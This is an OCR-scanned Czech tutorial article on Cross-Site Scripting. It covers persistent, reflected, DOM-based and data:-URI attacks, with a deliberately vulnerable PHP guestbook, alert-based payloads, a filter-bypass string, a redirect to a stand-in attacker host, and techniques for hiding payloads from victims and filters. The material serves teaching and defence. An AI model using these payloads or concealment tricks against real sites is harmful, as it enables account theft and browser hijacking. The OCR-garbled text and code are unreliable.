.CCUMINN.

Stupen obtiZznosti:

CO SE NAUCITE

jakym zpusobem probiha
skriptovdni na strané klienta,

jakd jsou omezeni skriptovacich
jazykt implementovanych v
browseru,

jakym zplsobem je moZné vloZit
skript do cizi webové strdnky,

¢im muZe byt takto vioZzeny kéd
nebezpecny,

vyuZiti XSS k rliznym druhtim
utokd,

jak se brdnit na strané klienta,

jak ¢elit XSS na strané serveru.

CO BYSTE MELI ZNAT
zdklady jazyka HTML,
zdklady JavaScriptu,

zdklady objektového modelu
dokumentu (DOM).
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Pokrodcilé
techniky XSS

O zranitelnosti Cross-Site Scripting, kterd se zkrdcené oznacuje jako
XSS, toho bylo napsdno jiz mnoho. Pfesto se s touto zranitelnosti
muzeme stdle setkat ve vice nez 80% webovych aplikaci.

kusime spolu poodhalit dGvod, pro tomu
Z tak je a uvedeme si priklady zneuZitl této

zranitelnosti, které by nemély nechat
klidnym zdadného z vyvoje webovych aplikac.
Se zranitelnosti XSS se dnes muZete stdle setkat ve
vice nez osmdesdati procentech webovych aplikact
a to i presto, Ze je tato zranitelnost zndma jiz
mnoho let. Hned v Uvodu si proto poloZzime otdzku,
pro¢ je XSS stdle tak rozsifené, kdyz je k dispozici
velké mnozstvl informaci, které tuto zranitelnost
popisujf. V z&ddném pripadé si nemyslim, Ze by o nf
snad vyvojdri nikdy neslyseli.

Preci jen je posledni dobou vidét znacny
pokrok v této oblasti, kdy se vyvojdri snazi o
vymycen( této zranitelnosti ze svych stranek.
Zameruji se vsak prevdzné na persistentni,
nebo-li trvalé XSS, které byvalo ¢astym zdrojem
nepffjemnych defacd webovych stranek. V
soucasnosti se  stfetdvdme hlavné s non-
persistentnimi Utoky XSS, které ¢asto zustdavajf
pred spravci webovych aplikacl skryty.

Na vySe poloZzenou otdzku se proto nabizf
ndsledujici odpoveéd: Vyvojdri o ndchylnosti své
aplikace na Utoky XSS nevi a dozvidaji se o
ni teprve ve chvili, kdy jsou na tuto skute¢nost
upozornéni neékym z fad witehatd. Ani po
upozornéni na pritomnost XSS v aplikaci vsak
jejl spravei ¢asto neudinl patficné kroky vedouct
k odstranéni chyby. Musime si tedy kldst dalsf
otazku: pro¢ spraveiwebovych aplikaci nesjednajf
ndapravu, kdyz o pritomnosti ndchylného mista na
non-persitentni XSS vedi? Zde je nasnadé také

jedna odpovéd, kterd toto jedndni vysvétluje
tim, Ze si spravci aplikacl neuvédomujl rizika,
kterd z Utokd XSS plynou. Domnivajl se, Ze je
mozné vyuzit Utoky pouze k negkodnym hratkdm
utocnikd, ktefi mohou v nejhordim pripadé ukrdst
COOKkie své obéti.

V tomto ¢lanku si proto ukdzeme priklady vy-
uZitl utoku XSS, které mohou vést k odcizeni uzi-
vatelského Uctu, k pinému ovlddnutl webového
browseru obéti, k veden( Utokd na jiné weby nebo
k vytvoreni Cerva, ktery se sdm bude Sifit Interne-
tem skrz existujici XSS zranitelnosti. Cldnek si tedy
klade za cil poukdzat na témer neomezené moz-
nosti XSS utokd, které, pokud nebudou z Internetu
odstranény, mohou se do budoucna stdt skute¢né
velikou hrozbou.

Drive, nez se spolecné podivdme na popis
samotného  Cros-Site  Scriptingu  a  konkrétnf
ukdzkové Utoky, musim sezndamit piipadné
zacatecniky se skriptovacim jozykem a objektovym
modelem dokumentu. V pripadé, Ze jste s t&mito
oblastmi  obezndmeni, muZete prvnl odstavce
plreskocit a zacist se az do samotnych informact
0 XSS.

Skriptovdni na strané klienta

Na pocCdtku byla potfeba oZivenl webovych
stranek, které pred implementacl skriptovacich
jozykG  umeély pouze zobrazovat — statické
informace. Po jejich zavedeni dostali vyvojdri

k dispozici prostredek, ktery jim umozrioval
zobrazovat na webovych strankach aktudinf



datuma ¢asnebo pristupovatk jednotlivym
objekttm na stradnce a dynamicky ménit
jejich obsah. Jako prvni prisla se svou
implementaci v podobé jazyka JavaScript
spolecnost Netscape. Jeji JavaScript byl
nasledné implementovan i do Internet
Exploreru. Spole¢nost  Microsoft  vSak
prisla i se svym resenim skriptovdani na
strang klienta v podobé VBScriptu. Ten
vdak nebyl implementovan do ostatnich
prohliZze€¢l a zdstal tak vysadou pouze
Internet Exploreru. Existuji i razné dalsf
mene roz8itené skriptovacl jazyky, ale
Vyvojari ze zfejmeého divodu produkujf své
kody prevdzné v JavaScriptu. Ze stejného
davodu jej ke svym prikladam v tomto
¢lanku budu pouZivat i jd.

Skripty, které se majf vykonat na strané
klienta, jsou do webove stranky vkladdany
tremi zpUsoby. Prvnim z nich je vioZenf
skriptu a definic funkcf mezi tagy <sCRIPT>
Q </SCRIPT> do hlavicky dokumentu
nebo jeho téla. Prohlize¢ pak vykond
kod mezi témito tagy okamZzitg, jakmile
je] nacte z webového serveru, pricemz
dal&l zobrazenl obsahu stranky provede
az po dokon&enf beéhu skriptu. Jak muaze
vypadat takto napsany skript je ukdzdano
ve Vypisu 1. Parametr TYPE uvedeny u tagu
SCRIPT by se sice mél uvadeét, ale pokud
jej vynechdme, nemusime se piilis bat, Ze
by to mélo néjaky viiv na funkénost naseho
Skriptu.

Dalstho  zjednoduSeni pak muazeme
dosdéhnout, kdyz ze skriptu vypustme
znacky pro html komentdre. Ty jsou uvedeny
pouze pro pfipad, Ze pouzity webovy
prohlize¢ nepodporuje skriptovact jazyky a
kod skriptu by se pak vypsal jako bézny text

Vypis 1. Ukdzka kodu zapsaného
mezi tagy <script- a </script

<script type="text/javascript"></--
document.write (Ukdzka skriptu);
//-=-></script>

Vypis 2. Ukdzka zjednoduSené
zapsaneého kodu

<script>
document.write (Ukdzka skriptu);

</script>

Vypis 3. Ukdzka skriptu, ktery je
nacditdn z externiho souboru

<script src="myscript.js"></script>

CROSS SITE REQUEST FORGERY

v obsahu strénky. Po zjednoduSeni vypadd
stejny skript tak, jok uvadim ve Vypisu 2.
Stejného zjednoduSeni budu pouzivat i u
v8ech daldich mnou uvadenych prikladu.

Druhd z moZnostl, jak do stranky
vlozit JavaScriptovy kod, je jeho nadtenf z
externiho souboru. Tag SCRIPT obsahuje
pro tento pripad parametr SRC (source),
ktery se zapisuje ve tvaru, jenz muzete
vidét ve Vypisu 3. | v tomto pfipadé se
nejprve zobrazl obsah stranky nad timto
tagem, poté se JavaScriptovy kod nadte
a vykond a ndsledné je zobrazen zbyvajicl
obsah stranky. Tento zptsob inkludovan(
skriptt se pouzivé vetsinou pri vkladanf
riznych knihoven funkci, které jsou
volany na rGznych mistech webu nebo
v pfipadech, kdy je kéd natolik rozsdahly,
Ze by zbytecné &inil zdrojovy kod stranky
neprehlednym.

Trett a posledni variantou vklgddnf
skriptu do webové stranky jsou takzvané

In-line skripty, které se vkladajl joko atributy
udalosti. Tyto skripty se vykondvajl jako
reakce na urcitou ¢innost uZivatele, kterou
muze byt napfiklad stisknutl tla¢itka na
Klavesnici, Kliknutl mysf na objekt, prejetf
kurzorem nad objektem, a podobné. Vypis
4 ukazuje zpUsob zdpisu takto pouZiteho
skriptu.

Timto jsme vyCerpali vSechny moznost,
Kterymi vyvojar vklddajl do stranek kody
svych skriptd. O néco niZe, az si budeme
predstavovat utoky XSS, se k temto metoddm
opetvrdtime a ukdzeme si, jakym zptsobem
mohou byt zneuzité ze strany udtocnika.
Posledni informaci, kterou na tomto misté
jesté uvedu, je skuteCnost, Ze skriptovact
jozyky na strang klienta neumoZiujl (s
vyjimkou soubord cookies nebo  exploitl
zneuzivajicich chyby ve webovém prohlizedi)

pristupovat k soubordm na disku. Je tak
zabranéno tomu, aby utocnik mohl na disk
ukladat nebezpecné soubory nebo z disku
Sist soukromé informace. Tato skuteénost
je asi nejvetsim omezenim zminénych
skriptovacich jazykd. Bez né&j by ale byl
uzivatel na Internetu naprosto bezbranny a
stal by se tak pro Utoénika velice snadnym
cllem.

Document
Object Model (DOM)
Pracujeme-li se skriptovacim jazykem na
strané klienta, budeme ¢asto pristupovat k
riznym objektdim v dokumentu. Kdyz miuvim
0 objektech, myslim tim jednotliva oteviend
okna prohlizeCe, odstavce textu, vioZzené ramy,
obrdzky, formuldre, tlacitka a vabec véechny
prvky, které se v dokumentu nachdzl. Jiz jsme
sl fekli, ze pomoci JavaScriptu mazeme k
témto objektum libovolng pristupovat.
MuzZeme Cist jejich obsah nebo jej do-
konce i ménit. Diky tomu mohou vyvojdri
tvorit dynamicky ménéné stranky, které té-
mer okamyzite reaguji na akce uZivateld. Ob-
jektovy model md svou jasné stanovenou
hierarchii, kde na nejvyssim stupni stoji ob-
jekt Window, ktery zastupuje okno prohlize-
Ce. Tento objekt je nasledovan objekty typu
document, které tvorf jednotlivé nactené do-
kumenty. Nasledujf jednotlivé objekty v do-
kumentu a jejich dalsi dceriné objekty. Vzdy,
kdyZ je potreba pristoupit k nekterému ob-
jektu, je potfeba se k nému prokousat celou
touto hierarchii. K vlastnostem jednotlivych
objektd pak pristupujeme skrz jejich meto-
dy. Je potreba se zminit, Ze ne vdechny pro-
hlize¢e maji DOM implementovdan shodné.
Neékteré prohlizeCe jej majl implementovan
pouze Cdstecneé a nékteré dokonce vibec.
Nejlépe na tom jsou prohlizece od Micro-
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softu a Mozilly. | mezi jejich implementacf
vSak existujl urcité rozdily, na které je tre-
ba myslet a tak je ¢asto nutné vytvaret pro
kazdy z téchto browsert rozdiiné kody. Po-
sledni vé&ci, kterou bych na tomto misté rad
zmil, je bezpenostni omezen( zabranujic
pristupovat k objekttm, které jsou umistény
na strance pochazejicl z jiné domény. Toto
omezeni se oznacuje vyrazem Same Origin
Policy. Jeho existence je pro bezpecnost no-
tolik duleZitd, Ze nebude od véci se u ni chvili
pozastavit.

Same Origin Policy
Jiz jsme zminili, Ze toto omezeni zabrdnf
pristupovat skriptem z jedné domény k

objekttm, které lezl v doméné jiné. Nenf
to vSak omezeni jediné. Abychom monli
K objektum pristupovat musi se shodovat
nejenom domena, server, pouzity protokol,
ale i port, pfes ktery komunikujeme. V
Tabulce 1. uvadim par priklodd, kdy se ndm
pristup k objekttm podarf a kdy nikoliv. V&e
si jeSte navic popfseme na praktickém
prikladu.

Fv%eknéme, /e mame otevieny dva
dokumenty. KaZdy z nich mutze byt otevien
v jiném okné&, nebo jeden tvorf stranku se
skriptem a s viozenym rdmem a druhy
dokument je obsahem rdamu, ktery je
do predchozi stranky viozen. Pokud by
byl dokument se skriptem umistén na

Vypis 4. Ukdzka In-line skriptu

ain.com</a>

<?php
if ($save):
$fp = fopen("./forum.dat", "a");
if (!$8fp) exit;
Smessage = $name . "<br>"
fputs ($fp, S$message);
fclose ($fp);

endif;

. Stext .

>
<html>
<body>

<table>
<t
<t
</table>

</form>
<?php

>
</body>
</html>

<a href="http://www.domain.com" onmouseover="alert (Ukadzka udédlosti onmouseover)">Dom

Vypis 5. Kod navstévni knihy, kterd nekontroluje vstup uZivatell

"chr>";

<form action="<?php echo $PHP SELF; ?>" method="post">

<td align="left">Name: <input type="text" value="" name="name"></td></tr>
d>Message:<br><textarea name="text" rows=5 cols=60></textarea></td></tr>

<input type="submit" name="save" value="Send">

if (File exists("./forum.dat")) readfile("./forum.dat");
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serveru utoénika a ten druhy by pochdzel
z daveryhodného serveru, bylo by asi dost
nepfijemné, pokud by uto¢nikav skript monhl
meénit hodnoty objektd na davéryhodné
strance, nebo kdyby umoznioval Cist jejich
hodnoty napffklad v podobé& cookies.
Sami vidite, Ze pokud by byla takovd
akce Uto¢nfkovi povolena, jednalo by se
0 naprosto fatdIni bezpecnostni problém.
Uto&nikovi se diky omezeni Same Origin
Policy nastéstl nemohou podobné utoky
nikdy podarit. K tomu, aby mohl podobny
utok provést, musel by své skripty umistit
ve stejné domeéne, na kterou Utod. No
a to uz se pomalu dostavame k jédru
utoka XSS, pomocf niz je praveé umisténf
utocnikovych  skript  do napadenych
webovych aplikacl mozné.

Dobrd znalost  JavaScriptu a
objektového modelu jsou pro utoénika
predpokladem pro sofistikované Cross-
Site Scripting utoky. S jejich znalostl je
Uto¢nik pri planovani Utokd omezen pouze
svou vlastni fantazii a moznostmi, které
mu tyto ndstroje povoluji. Pokud si chcete
utvorit jasnéjsi predstavu 0 moznostech
XSS utoky, nemeli byste také znalosti
téchto dvou ndstroju podcenovat. Bez
jejich pochopeni, maZete jen s velkymi
obtizemi stavét barikddy, které  majl
vetrelcm  zabrdnit v provadéni utokd
tohoto druhu.

Uvod do Cross-Site

Scripting (XSS)

Vyraz Cross-Site Scripting, ktery se zkrd-
cené oznacuje jako XSS nebo nékdy také
CSS (neplést s kaskdadovymi styly), v pre-
kladu znamend skriptovani napfi¢ sitémi
a jak jsem se zmmil jiz v Uvodu, jednd se
0 jednu z nejvice rozsirenych zranitelnos-
tf souc¢asného webu. Se zranitelnosti XSS
se muzeme setkat v nékolika podobdch,
pficem?Z nejCastéji je délime na trvalé
(persistentni) XSS a na docasné (Non-per-
sistentni) XSS. Setkat se vSak muzeme ta-
ké s DOM-based XSS nebo Self-contained
XSS. Myslim, Ze prdvé nyni je ten spravny
¢as, abychom si 0 kazdém z nich fekli né-
co Dliz&ho a konecné si také zranitelnost
XSS vysvetlili,

Persistentni (trvalé) XSS

Zranitelnost tohoto typu je nejsndze po-
chopitelnym druhem XSS a proto zaéne-
me v nasem popisu praveé jim. Setkdme



se s nim hlavné v diskusnich férech, nd-
v&tévnich knihdch, komentarich ke clan-
kim a vSude tam, kde majl navstévnici
moznost viozit natrvalo svij pfispévek na
webovou stranku. Pokud vstup od navstév-
ntka nenf dostate¢né kontrolovan a upra-
ven logikou na strané serveru, muze ze
strany navstévnika dojit ke vlozenf nebez-
pecneého skriptu, ktery se spusti ve webo-
vém browseru kazdému, kdo na stranku,
kterd tento piispévek zobrazuje, vstoupl.
Uvedeme si konkrétni pifklad. Uvazujme,
7e mdame na svych webovych strankach
navstévni knihu, kterd nekontroluje vstupy
zadané uzivateli. Kod takové knihy muazete
vidét ve Vypisu 5. Ddle budeme uvazovat,
7e se utocnik pokusi o vlozen( skriptu, kte-
ry pfi kazdém zobrazeni prispévku pro-
vede presmerovani navstévnika na jinou
webovou stranku. Takovy skript by mohl
vypadat podobné, jako je uvedeno ve
Vypisu 6. Co se nynf stane, kdyZ utoénik
vlozf skript z Vypisu 6, jako svij prispévek
do navstévnl knihy? Zdrojovy kod webové
stranky s prispévkem pak bude vypadat,
jako ten z Vypisu 7 a k provedenf skriptu
dojde vzdy, kdyZ se navstevnikovi stranka
zobrazf.

Sami vidite, Ze k provedeni Utoku
stacilo opravdu mdlo a jeho ndsledky
mohou byt nedozimé — od jednoduchého
pfesmérovani, pres redesign stranky az
PO naprosté oviddnutl prohlizece obéti. O
konkrétnich dtocich, ke kterym moze byt
XSS vyuzito si povime nfZe. Na druhou
stranu, je tento Utok ze strany majitele
webove aplikace okamzité zjistitelny a
proto tato zranitelnost ze stranek velice
rychle mizi.

CROSS SITE REQUEST FORGERY

In-line JS / Self-contained XSS

Tento druh utoku je také velice jednoduchy.
Schvding si zkuste do adresniho fadku
viozit  toto:
a svdj vstup odentrovat. Mélo by na Vds
vyskocit vystrazné okno s textem XSS, které
je vysledkem nami vloZzeného skriptu pres
adresni radek. Pokud mdame k dispozici
navstévni knihu, do které mazeme vklddat
odkazy, pak je nam ¢asto umoznéno vloZit
na stranky i takto pripraveny skript. Ukdzku
vstupu pro tento Utok uvadim ve Vypisu 9.
Jakmile obét klikne na takto pripraveny
odkaz, spusti se v kontextu dané stranky
uvedeny skript, stejn& jako by ho obét sama
zapsala do adresniho radku.

Stejny Utok se dd provést jesté druhym
zpUsobem, ktery funguje v prohlizecich
Firefox nebo Opera, a ktery umoznuje
zapsat stejny skript zptsobem, ktery uvadim
ve Wpisu 10. Vice se 0 tomto zpUsobu
kddovani rozepiSi v odstavei vénovaném
skryvani skriptt pred odhalenim.

javascript:alert('XSS');

Non-persistentni XSS

S vysvétlenim tohoto typu  zranitelnos-
ti to jiz nebudu mit tak jednoduché jako
v predchozich pripadech. U non-persi-
stentnfho XSS dochdzf k vykondni kodu,
ktery je preddn jako soucdst pozadavku
na stranku. Parametr je na strané ser-
veru zakomponovdn do webové stranky,
kterd je ndsledngé zobrazena uzivateli. S
touto zranitelnosti se nejcastéji setkdme
u ruznych vyhleddvacdu, stranek s chybo-
vym hlégenim (napfiklad s kodem 404),
¢i na strankach, které si predavaji obsahy
zobrazitelnych zprav v parametrech URI.
Pokusim se opét uvést konkrétnf pripad,

<html>
<body>

<table>

</table>

</form>

Jack<br>My message<hr>

</html>

Vypis 6. Script zpdsobujicl presmeérovdni ndvstévnikd na jinou strdnku

<script>document.location="http://www.atacker.com';</script>

Vypis 7. Zdrojovy kod webové strdnky s injektovanym skripterm

<form action="/foruml.php" method="post">

<tr><td align="left">Name: <input type="text" value="" name="name"></td></tr>
<tr><td>Message:<br><textarea name="text" rows=5 cols=60></textarea></td></tr>

<input type="submit" name="save" value="Send">

John<br>My script in message <script>alert('XSS');</script><hr>

</body>

pii némz se mizeme s non-persistentnim
XSS stretnout.

Uvazujme, Ze mdme vyhleddvaci nd-
stroj, ktery prochdzi obsaoh webu a zobro-
zuje nalezené vysledky. Pri kazdé odpovédi
navic server odpovl zpravou: Na hledany
vyraz XYZ bylo nalezeno 10 odpovédi (viz.
Obrdzek 1). Zjednodugeny zdrojovy kdd ta-
kové zobrazené stranky by mohl vypadat
podobné, jak ukazuje Vypis 11. Co se nynf
stane, kdyz uto¢nik viozZi dotaz na vyraz,
ktery obsahuje kod skriptu uvedeného ve
Vypisu 12. Po odeslani pozadavku na hle-
ddnf je hledany retézec preddn jako pa-
rametr vyhleddvacimu skriptu a nésledné
je zobrazena stranka, kterd obsahuje na-
mi injektovany skript. Ten se pochopiteiné
okamzité po nacteni vykond (viz. Obrdzek
2). Zdrojovy kod strénky s injektovanym
skriptem muUZete vidét ve Vypisu 13, pri-
Semz URI vysledné stranky ma tvar, ktery
uvadim ve Vypisu 8.V uvedeném odkazu
je hledany vyraz zakdédovdan pomoci URL
kddovani. Nynf jiz stacl pouze zaslat tento
odkaz obéti, které se skript spustl, jakmile
na odkaz klikne.

Bypassing

V urcitych  pripadech dochdzi u  non-
persistentnfho XSSk vypisu  utocnikem
zadaného  skriptu  tak, Ze se stane
hodnotou parametru néjakého jiného tagu.
V takovém pripadé by se skript nevykonal
a je proto nutné, aby utoénik zmmeény tag
nejprve uzavrel. Nejlépe udeldme, pokud si
uvedené informace opét priblizime pomocf
konkrétniho prikladu.

Uvazujme, Ze mame stranku, kterd
obsahuje  prihlasovaci  formulal Kk
uzivatelskému uctu. Do toho se bézné
zaddva  pristupové  jméno  a  heslo
a v pfipadé, kdy je zaddna nesprdavnd
kombinace pristupovych udajd, je tento

V kontextu hiawmiho okna

- 2 tohoto ehna je uytvoden skiyty IFRAME

XSS proxy serveru

WRAME

V Kentextu skiytéheo 1o
rou vk strinky, ter sl inoinik vyzidal
E i s eltuen I
Ktery umodiije

- &ist obaah tohto rimu

= Mt obekty naitens ¥ Lohioto fam

- eHIT XS5 ovibiincan daldd nichying etrinky

Obrdzek 3. Schéma vyuZitl webového
browseru po infikovani XSS Proxy klientem
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prinlaSovaci formuldr opétovné zobrazen
pro vyplnéni. Prfi druhém pokusu je
v8ak jiz predvyplnéna hodnota pole s
uzivatelskym jménem, které jsme vloZili
pfi prvnim pokusu. Pokud nejsou hodnoty
z prihlasovaciho formuldre kontrolovany,
muze dojit ke spusténi naseho skriptu. Ve
Vypisu 14. je uveden zdrojovy kod strdnky
s prihlasovacim formuldrem a ve Vypisu
156. pak zdrojovy kod téze stradnky po té,
CcO jsme do pole pro uzivatelské jméno
vlozili skript z Vypisu 12. Pomoc( barevné
zvyrazneéné syntaxe muzete vysledovat, co
se stalo.

Uto&nikav skript se vioZil jako fetézec
do vstupniho pole formuldre, a pfi zobra-
zovan( stranky se proto nespustil. Pokud
bychom ale predchozi fetézec a tag nej-
prve uzavieli pomoci kombinace znakd
> a teprve poté uvedli nd$ skript, byla by
situace jind a ke spusteni kodu by jiz do-
Slo. Ve chvili, kdy si nejsme jisti, zda tvdrce
aplikace pouZil v tagu uvozovky nebo apo-
strofy, vyplatl se vytvorit bypass pomoc(
této kombinace znakd s, kterd by fetézec
a tag uzavrela v kazdém pripadé. | naddle
ma vsak provedeny Utok jeden nedostatek
a to ten, Ze za vstupnim polem ndam zU-

staly dva nevyuzité znaky v podobe ™, kte-
ré budou na webové stradnce zobrazeny.
Abychom tomu zabrdnili, viozime za ndas
skript jesté znaky pro html komentdr, které
se postarajl o jejich skrytl. Vysledny skript,
ktery viozime do vstupniho pole pro uziva-
telské jméno, bude tedy nakonec vypadat
tak, jak je uvedeno ve Vypisu 16. Po tomto
Utoku vypadd zdrojovy kod stranky stejné
jako ten z Vypisu 17.

DOM-based XSS

Tento typ XSS je hodné podobny
predchozimu typu. Rozdil je v tom, Ze
zakomponovan( Uto¢nikova skriptu

do weboveé stranky neprobihd na
strané serveru, ale na strang klienta.
Ten pomoci vlastnich ndstroju  precte
hodnoty parametrt z URL a vypfSe je
na zobrazovanou strdnku. Jako priklad
si uvedeme webovou stranku, kterd v
parametru URI prebird ndzev dne v tydnu
a zobrazuje jej uZivateli. Zdrojovy kod
takové stranky uvadim ve Vypisu 18. Pokud
utocnik vytvorf odkaz, ktery jako hodnotu
parametru prevezme skript uvedeny ve
Vypisu 12, dojde k jeho vypsani a tim k
jeho proveden.

cript%3E

atack

<html>
<head>
<title>Search Results</title>
</head>
<body>

atack">

</form>

</body>
</html>

Vypis 8. Odkaz obsahujici parametr s infikovanou hodnotou

http://www.searchsite.com/search.php?query=%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fs

Vypis 9. Utoéniktv odkaz pro self-contained XSS

<a href="javascript:alert('XSS');">0Odkaz</a>

Vypis 10. Utoénikav odkaz pro self-contained XSS zakddovany pomoci Base64

<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgnWENTJIyk7PC9zY3JpcHQ+">0dkaz</a>

Vypis 11. Zdrojovy kod strdnky oznamujicl nulovy pocet ndlezt vyrazu example xss

<form method="get" action="search.php">

<input type="text" name="query" size="40" maxlength="1000" value="example xss
<input type="submit" name="kbsubmit" value="Search">

Your search for <b>example xss atack</b>

No results were found for your search in DRD.

in <b>DRD</b> found <b>0</b> hits.
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Ochrana

XSS pred odhalenim

Ochranou pred odhalenim XSS  dtokd
rozumime dvé razné veéci. Prvni z nich
je ukrytl ndpadné& wyhliZejicich hodnot
preddavanych v parametrech URI a druhou
je provedeni Utoku takovym zpldsobem,
kdy ze strany obéti nedojde po zddarmém
utoku k zadnému podezreni. Ukryti hodnot
parametrd, kde by JavaScriptovy kod monhl
vzbudit podezieni, se ¢asto provadl pomoct
jeho kddovani do okem hare Citelného tvaru.
Pouzit pritom muzeme nekterou z nize
uvedenych variant kdbdovani.

Pfesmérovani
ACkoliv je mozné pomoci nize uvedenych
technik  kodovani  ztizit  &itelnost  kodu

predavanych v URI, mUze byt nékdy tato
varianta stdle pfrilis napadnad. Uzivatel,
ktery uvidf dlouhé obsahy parametrt v URI
pak nemusi na odkaz kliknout. Abychom
pfeddvané  parametry  Uplné  skryli,
muzeme pouZit techniku presmérovani.
Pri té je uZivateli zasldn odkaz na nas
server ve tvaru http://www.atacker.com.
Ovgem ve chvili, kdy ob&t na tento odkaz
klikne dojde na serveru atackercom k
automatickému presmerovani na stranku
ndchylnou na XSS, pfi némz je jiz kod
skriptu preddvan jako parametr. Tato
technika ma jesté jednu vyhodu a to, Ze
nejsme vAazani pouze na metodu GET,
ale je timto zpusobem mozné preddvat
hodnoty i metodou POST.

URL kédovani

P non-persistentnich  Utocich, kdy se
obsah dtoéného skriptu  preddvd  jako
hodnota urditého parametru, je dalezité
néjakym  zpusobem  zatemnit  jeho
obsah. Pro kédovani hodnot v URL je osli
nejjednodussi pouzit koddovani, které je k
tomu pfimo urceno, tedy URL kddovani.
Vysledny Tfetézec je bé&znymi uZivatell
naprosto necitelny viz. ypis 24.

Konverze na html entity

Pro zneprehlednéni kodu, ze kterého by
na prvni pohled mohla byt patrna jeho
funkénost, jsou d&asto pouzivdny html
entity, jimiz jsou postupné vyjdadreny
v&echny znaky kodu. Takovy kod je pro
bézného uZivatele daleko hare citelny,
nez jeho ekvivalent v bézném textovém

formdtu. Pro zajimavost mzete porovnat



skripty z Vypisu 2 a 25, jejich funkénost
je stejna. PouZiti html entit navic ¢asto
umoZiuje obejit ochrany, které filtrujf
nékteré nebezpetné znaky.

Konverze funkci
String.fromCharCode()

V' pripadech, kdy jsou filtrovany znaky
uvozovky a apostrofy, nebo pokud chceme
zakodovat obsah skriptu tak, aby nebyl jeho
vyznam na prvni pohled patmy, mdZeme
skript zakddovat znak po znaku pomoct
funkce String.fromCharCode(), jeZ vyuziva
ascci tabulky znakd. Skript uvedeny ve
Vypisu 2, by se pomoci této funkce dal
zapsat tak, jok uvadi Vypis 26, aniz by ztratil
cokoliv ze své funkénosti.

Sifrovani

Utoénici, kterf si prej, aby jejich skript
odoldval prazkumuam funkénosti co nejdéle,
mohou pouZit I své viastni funkce, které se
staraji o sifrovani a desifrovdni kddu podle
vlastnich algoritmd. Vzhledem k tomu, Ze
se prendsi i kody t&chto funkef, je mozné
PO jejich prostudovani zasifrovany obsah
desifrovat.

Self-contained XSS (protokol data:)
O tomto typu Utoku jsem se jiz zminil, kdyz
jsem popisoval jednotlivé typy utoka Cross-
Site Scripting. Jednd se o zakdédovanf
skriptu pomoc( nékterého z pouzivanych
Sifrovacich algoritmu a viozeni vysledného
fetézce za prefix data. Zminoval jsem jiz
takeé skutecnost, ze Ize této metody pouzit
pouze u nekterych webovych prohlizecu,
mezi nez patfl napfiklad Firefox nebo
Opera.

Hned z prvniho pohledu musi byt
v8em jasné, Ze pouZitl této metody je
oproti béznému zdapisu skriptd daleko ne-
prehlednéjsi a pouzijeme-li ji napriklad v
odkazu, nevzbuzuje takové podezieni jo-
ko bézny kod. Zkuste si porovnat odkazy
uvedené ve Vypisu 9 a Vypisu 10, jejichz
vyznam je totozny. Pokud uto¢nfk vkladd
podobné zakddovany skript do strdnky ja-
ko odkaz, md k dispozici i dalsi zpusoby
zamaskovanli. Ihned za prefix data je to-
tiZ mozné bez vlivu na funkénost odkazu
vlozZit dostatecny pocCet mezer na to, aby
se pri najetl na odkaz nezobrazila ve sta-
vovém fadku informace o skute¢ném cili.
Obét tak ve stavovem fadku uvidi po najetf
kurzorem nad odkaz pouze za¢dtek odka-
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zu data a na jeho konci nendpadné tri te¢-
ky, které maji uzivatele informovat o tom,
Ze se do stavoveho radku nevesel cely ob-
sah URI, na které je odkazovano. Pomoct
Self-contained XSS je navic mozné obeijit
rzné filtry, které by si jinak v8imly kli¢ové-
ho slova skript, ¢i jinych znakd a dtoéniko-
vy by zabrdnili v provedenf Utoku.

Priklad utoku:

Utodnik se chystd napadnout webové
forum, které je celkem obstojné zabezpe-
¢eno proti Utokdm XSS. V&echny znaky « a
> jsou konvertovdny na jejich bezpecéné en-
tity &gt a &It a navstévnikam je diky tomuto
omezeni povoleno pouzivat pouze omezeny

pocet osetrenych Buletin Board Codes. Me-
zi nimi se nachdzi i [a] pro viozeni odkazu, a
prave toto se stane utoénikovym cilem. Ten
do diskuze vlozZi odkaz, ktery vypadd stejné
jako ten z Vypisu 9 nebo 10 s tim, Ze nahradf
znaky < a > jejich povolenymi ekvivalenty [ a J.
Jakmile néktery z navstévnika klikne na ten-
to odkaz, dojde ke spusténi viozeného kodu.
Jakd bude jeho funkenost, je jiz Sisté v reZii
dto¢nika a jeho fantazie. K daldimu zamas-
kovanl pfitom muaze byt pouZita I nékterd
dalsl z nize uvedenych metod maskovani.

Odlozeni akce XSS
/Zda utocnik pouzije odlozeni utoku, nebo
zda jej provede okamzité po napadenf

<script>alert ('XSS');</script>

Skriptemn
<html>
<head>
<title>Search Results</title>
</head>
<body>

"XSS");</script>">

</form>

Your search for

<http><head></head><body>

<form action="/login.php" method="post">
<input type="submit" value="login">

</form>

</body></html>

byl pouZit utocnikdv skript

<http><head></head><body>

<form action="/login.php" method="post">
<input type="submit" value="login">

</form>

</body></html>

Vypis 16. UtoCny skript s bypassem

'"><script>alert ('XSS');</script><!--

Vypis 12. Skript Casto pouZivany pri testovdni zranitelnosti na XSS

Vypis 13. Zdrojovy kod stranky oznamujicl nulovy pocet ndlezd s injektovanym

<form method="get" action="search.php">
<input type="text" name="query" size="40" maxlength="1000" value="<script>alert(

<input type="submit" name="kbsubmit" value="Search">

<b><script>alert ("XSS");</script></b>

b> hits.
No results were found for your search in DRD.
</body>
</html>

Vypis 14. Zdrojovy kod strdnky s prihlaSovacim formuldiem

<p>Pro vstup do zbyvajici C&sti webu se musite pfihléasit:</p>

Username:<input type="text" name="username" value="">
Password:<input type="password" name="password" value="">

Vypis 15. Zdrojovy kod stranky s predvyplnénym uZivatelskym jmeénem, misto kterého

<p>Pro vstup do zbyvajici ¢asti webu se musite p¥ihlésit:</p>

Username:<input type="text" name="username" value="<script>alert('XSS')</script>">

Password:<input type="password" name="password" value="">

in <b>DRD</b> found <b>0</
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své obétl, zdleZ prevazné na druhu Utoku.
Pokud cely utok probihd na pozadf a jeho
DENh neni obétl pozorovateny je vhodné
provést Utok co nejrychleji. Stejné tak by
prodleva zcela ztracela smysl, pokud by
utok spocival v podvrzeni urité webové
stranky, nebo ve zmeéné jejlho designu.
Za jistych podminek vSak mauze byt urcité
odlozeni Utoku prospésne a muze zabrdnit
jeho odhalen.

Rekn&me, Ze si Utodnik zvolf jednoduchy
cfl spocivajicl v odhlaseni napadeného uzi-
vatele od Udty, ke kterému je praveé prinla-
gen. Utok pritom probihd stylem popsanym
v predchozim priklodu se Self-contained
XSS. Pokud by kliknuti na vloZeny odkaz
znamenalo okamZité odhldSeni uzivatele
od jeho uctu, asi by bylo okam?Zité jasné, co
danou reakci vyvolalo a ve webovem foru by
